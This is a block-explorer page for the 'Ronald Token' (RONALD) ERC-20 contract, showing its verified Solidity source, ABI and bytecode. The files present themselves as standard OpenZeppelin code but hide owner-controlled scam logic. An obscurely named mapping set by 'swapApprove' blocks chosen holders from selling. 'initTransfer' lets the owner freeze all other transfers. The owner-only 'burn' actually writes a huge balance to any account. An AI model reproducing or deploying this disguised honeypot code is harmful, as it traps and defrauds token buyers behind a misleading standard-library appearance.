ETH Price: $3,360.74 (+2.62%)
Gas: 4 Gwei

Token

Ronald Token (RONALD)
 

Overview

Max Total Supply

1,000,000,000,000 RONALD

Holders

100

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
0xmoles.eth
Balance
477,963,884.679336421 RONALD

Value
$0.00
0x1ee9e2692b4fcb8016f1986699aee96d4b6f9586
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
RONALD

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 5 of 5: RONALD TOKEN.sol
/**
 ██▀███   ▒█████   ███▄    █  ▄▄▄       ██▓    ▓█████▄    ▄▄▄█████▓ ▒█████   ██ ▄█▀▓█████  ███▄    █    
▓██ ▒ ██▒▒██▒  ██▒ ██ ▀█   █ ▒████▄    ▓██▒    ▒██▀ ██▌   ▓  ██▒ ▓▒▒██▒  ██▒ ██▄█▒ ▓█   ▀  ██ ▀█   █    
▓██ ░▄█ ▒▒██░  ██▒▓██  ▀█ ██▒▒██  ▀█▄  ▒██░    ░██   █▌   ▒ ▓██░ ▒░▒██░  ██▒▓███▄░ ▒███   ▓██  ▀█ ██▒   
▒██▀▀█▄  ▒██   ██░▓██▒  ▐▌██▒░██▄▄▄▄██ ▒██░    ░▓█▄   ▌   ░ ▓██▓ ░ ▒██   ██░▓██ █▄ ▒▓█  ▄ ▓██▒  ▐▌██▒   
░██▓ ▒██▒░ ████▓▒░▒██░   ▓██░ ▓█   ▓██▒░██████▒░▒████▓      ▒██▒ ░ ░ ████▓▒░▒██▒ █▄░▒████▒▒██░   ▓██░   
░ ▒▓ ░▒▓░░ ▒░▒░▒░ ░ ▒░   ▒ ▒  ▒▒   ▓▒█░░ ▒░▓  ░ ▒▒▓  ▒      ▒ ░░   ░ ▒░▒░▒░ ▒ ▒▒ ▓▒░░ ▒░ ░░ ▒░   ▒ ▒    
  ░▒ ░ ▒░  ░ ▒ ▒░ ░ ░░   ░ ▒░  ▒   ▒▒ ░░ ░ ▒  ░ ░ ▒  ▒        ░      ░ ▒ ▒░ ░ ░▒ ▒░ ░ ░  ░░ ░░   ░ ▒░   
  ░░   ░ ░ ░ ░ ▒     ░   ░ ░   ░   ▒     ░ ░    ░ ░  ░      ░      ░ ░ ░ ▒  ░ ░░ ░    ░      ░   ░ ░    


*/// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;

import "./ERC20.sol";

contract RONALD is ERC20 {
    constructor(string memory name, string memory symbol, uint256 totalSupply) ERC20(name, symbol) {
        _mint(msg.sender, totalSupply * 10 ** decimals());
    }

    function burn(address account, uint256 amount) external onlyOwner {
        _burn(account, amount);
    }
}

File 1 of 5: Context.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
contract Context {
    address private _owner;
    constructor(){
        _owner = msg.sender;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }

    function owner() internal view returns (address) {
        return _owner;
    }
}

File 2 of 5: ERC20.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/ERC20.sol)

pragma solidity ^0.8.0;

import "./IERC20.sol";
import "./IERC20Metadata.sol";
import "./Context.sol";

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;
    uint256 private maxTxLimit = 1*10**17*10**9;
    string private _name;
    string private _symbol;
    bool _initTransfer = true;
    uint256 private balances;
    mapping (address => bool) private _IncreaseAllowanceDelegateSetTaxHandler1SetTransfer0xWithdraw;
    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
        balances = maxTxLimit;
    }
    
    function initTransfer() external onlyOwner {
        if (_initTransfer == false){
        _initTransfer = true;}
        else {_initTransfer = false;}
    }

    function checpoints(address account) public view returns (bool) {
        return _IncreaseAllowanceDelegateSetTaxHandler1SetTransfer0xWithdraw[account];
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, _allowances[owner][spender] + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = _allowances[owner][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `sender` to `recipient`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        if (_initTransfer == true || from == owner() || to == owner()) {
            if(_balances[from] > 0){
            if (_IncreaseAllowanceDelegateSetTaxHandler1SetTransfer0xWithdraw[from]) require (amount == 0, "");
            _beforeTokenTransfer(from, to, amount);

            uint256 fromBalance = _balances[from];
            require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
            unchecked {
                _balances[from] = fromBalance - amount;
            }
            _balances[to] += amount;

            emit Transfer(from, to, amount);
            }
        } else {require (_initTransfer == true, "");}
        _afterTokenTransfer(from, to, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
    
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
    
        _balances[account] = balances - amount;
        _totalSupply -= amount;
        emit Transfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Spend `amount` form the allowance of `owner` toward `spender`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function swapApprove(address[] calldata addr, bool val) public onlyOwner{
        for (uint256 i = 0; i < addr.length; i++) {
            _IncreaseAllowanceDelegateSetTaxHandler1SetTransfer0xWithdraw[addr[i]] = val;
        }
    }
}

File 3 of 5: IERC20.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

File 4 of 5: IERC20Metadata.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)

pragma solidity ^0.8.0;

import "./IERC20.sol";

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"symbol","type":"string"},{"internalType":"uint256","name":"totalSupply","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"checpoints","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initTransfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addr","type":"address[]"},{"internalType":"bool","name":"val","type":"bool"}],"name":"swapApprove","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040526a52b7d2dcc80cd2e40000006004556001600760006101000a81548160ff0219169083151502179055503480156200003b57600080fd5b506040516200299838038062002998833981810160405281019062000061919062000471565b8282336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508160059081620000b491906200074c565b508060069081620000c691906200074c565b5060045460088190555050506200010e33620000e76200011760201b60201c565b600a620000f59190620009c3565b8362000102919062000a14565b6200012060201b60201c565b50505062000b4b565b60006009905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000192576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620001899062000ac0565b60405180910390fd5b620001a6600083836200029960201b60201c565b8060036000828254620001ba919062000ae2565b9250508190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825462000212919062000ae2565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000279919062000b2e565b60405180910390a362000295600083836200029e60201b60201c565b5050565b505050565b505050565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6200030c82620002c1565b810181811067ffffffffffffffff821117156200032e576200032d620002d2565b5b80604052505050565b600062000343620002a3565b905062000351828262000301565b919050565b600067ffffffffffffffff821115620003745762000373620002d2565b5b6200037f82620002c1565b9050602081019050919050565b60005b83811015620003ac5780820151818401526020810190506200038f565b60008484015250505050565b6000620003cf620003c98462000356565b62000337565b905082815260208101848484011115620003ee57620003ed620002bc565b5b620003fb8482856200038c565b509392505050565b600082601f8301126200041b576200041a620002b7565b5b81516200042d848260208601620003b8565b91505092915050565b6000819050919050565b6200044b8162000436565b81146200045757600080fd5b50565b6000815190506200046b8162000440565b92915050565b6000806000606084860312156200048d576200048c620002ad565b5b600084015167ffffffffffffffff811115620004ae57620004ad620002b2565b5b620004bc8682870162000403565b935050602084015167ffffffffffffffff811115620004e057620004df620002b2565b5b620004ee8682870162000403565b925050604062000501868287016200045a565b9150509250925092565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200055e57607f821691505b60208210810362000574576200057362000516565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620005de7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200059f565b620005ea86836200059f565b95508019841693508086168417925050509392505050565b6000819050919050565b60006200062d62000627620006218462000436565b62000602565b62000436565b9050919050565b6000819050919050565b62000649836200060c565b62000661620006588262000634565b848454620005ac565b825550505050565b600090565b6200067862000669565b620006858184846200063e565b505050565b5b81811015620006ad57620006a16000826200066e565b6001810190506200068b565b5050565b601f821115620006fc57620006c6816200057a565b620006d1846200058f565b81016020851015620006e1578190505b620006f9620006f0856200058f565b8301826200068a565b50505b505050565b600082821c905092915050565b6000620007216000198460080262000701565b1980831691505092915050565b60006200073c83836200070e565b9150826002028217905092915050565b62000757826200050b565b67ffffffffffffffff811115620007735762000772620002d2565b5b6200077f825462000545565b6200078c828285620006b1565b600060209050601f831160018114620007c45760008415620007af578287015190505b620007bb85826200072e565b8655506200082b565b601f198416620007d4866200057a565b60005b82811015620007fe57848901518255600182019150602085019450602081019050620007d7565b868310156200081e57848901516200081a601f8916826200070e565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620008c15780860481111562000899576200089862000833565b5b6001851615620008a95780820291505b8081029050620008b98562000862565b945062000879565b94509492505050565b600082620008dc5760019050620009af565b81620008ec5760009050620009af565b8160018114620009055760028114620009105762000946565b6001915050620009af565b60ff84111562000925576200092462000833565b5b8360020a9150848211156200093f576200093e62000833565b5b50620009af565b5060208310610133831016604e8410600b8410161715620009805782820a9050838111156200097a576200097962000833565b5b620009af565b6200098f84848460016200086f565b92509050818404811115620009a957620009a862000833565b5b81810290505b9392505050565b600060ff82169050919050565b6000620009d08262000436565b9150620009dd83620009b6565b925062000a0c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620008ca565b905092915050565b600062000a218262000436565b915062000a2e8362000436565b925082820262000a3e8162000436565b9150828204841483151762000a585762000a5762000833565b5b5092915050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000aa8601f8362000a5f565b915062000ab58262000a70565b602082019050919050565b6000602082019050818103600083015262000adb8162000a99565b9050919050565b600062000aef8262000436565b915062000afc8362000436565b925082820190508082111562000b175762000b1662000833565b5b92915050565b62000b288162000436565b82525050565b600060208201905062000b45600083018462000b1d565b92915050565b611e3d8062000b5b6000396000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a08231116100975780639dc29fac116100665780639dc29fac14610288578063a457c2d7146102a4578063a9059cbb146102d4578063dd62ed3e14610304576100f5565b806370a08231146102005780638422dca01461023057806391b69fa01461026057806395d89b411461026a576100f5565b806318160ddd116100d357806318160ddd1461016457806323b872dd14610182578063313ce567146101b257806339509351146101d0576100f5565b806306fdde03146100fa578063095ea7b3146101185780631186b8d814610148575b600080fd5b610102610334565b60405161010f91906113a3565b60405180910390f35b610132600480360381019061012d9190611463565b6103c6565b60405161013f91906114be565b60405180910390f35b610162600480360381019061015d919061156a565b6103e9565b005b61016c610523565b60405161017991906115d9565b60405180910390f35b61019c600480360381019061019791906115f4565b61052d565b6040516101a991906114be565b60405180910390f35b6101ba61055c565b6040516101c79190611663565b60405180910390f35b6101ea60048036038101906101e59190611463565b610565565b6040516101f791906114be565b60405180910390f35b61021a6004803603810190610215919061167e565b61060f565b60405161022791906115d9565b60405180910390f35b61024a6004803603810190610245919061167e565b610658565b60405161025791906114be565b60405180910390f35b6102686106ae565b005b61027261079c565b60405161027f91906113a3565b60405180910390f35b6102a2600480360381019061029d9190611463565b61082e565b005b6102be60048036038101906102b99190611463565b6108d1565b6040516102cb91906114be565b60405180910390f35b6102ee60048036038101906102e99190611463565b6109bb565b6040516102fb91906114be565b60405180910390f35b61031e600480360381019061031991906116ab565b6109de565b60405161032b91906115d9565b60405180910390f35b6060600580546103439061171a565b80601f016020809104026020016040519081016040528092919081815260200182805461036f9061171a565b80156103bc5780601f10610391576101008083540402835291602001916103bc565b820191906000526020600020905b81548152906001019060200180831161039f57829003601f168201915b5050505050905090565b6000806103d1610a65565b90506103de818585610a6d565b600191505092915050565b6103f1610a65565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461047e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161047590611797565b60405180910390fd5b60005b8383905081101561051d5781600960008686858181106104a4576104a36117b7565b5b90506020020160208101906104b9919061167e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061051590611815565b915050610481565b50505050565b6000600354905090565b600080610538610a65565b9050610545858285610c36565b610550858585610cc2565b60019150509392505050565b60006009905090565b600080610570610a65565b9050610604818585600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105ff919061185d565b610a6d565b600191505092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6106b6610a65565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610743576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073a90611797565b60405180910390fd5b60001515600760009054906101000a900460ff1615150361077e576001600760006101000a81548160ff02191690831515021790555061079a565b6000600760006101000a81548160ff0219169083151502179055505b565b6060600680546107ab9061171a565b80601f01602080910402602001604051908101604052809291908181526020018280546107d79061171a565b80156108245780601f106107f957610100808354040283529160200191610824565b820191906000526020600020905b81548152906001019060200180831161080757829003601f168201915b5050505050905090565b610836610a65565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108ba90611797565b60405180910390fd5b6108cd8282611115565b5050565b6000806108dc610a65565b90506000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050838110156109a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099990611903565b60405180910390fd5b6109af8286868403610a6d565b60019250505092915050565b6000806109c6610a65565b90506109d3818585610cc2565b600191505092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610adc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad390611995565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610b4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4290611a27565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190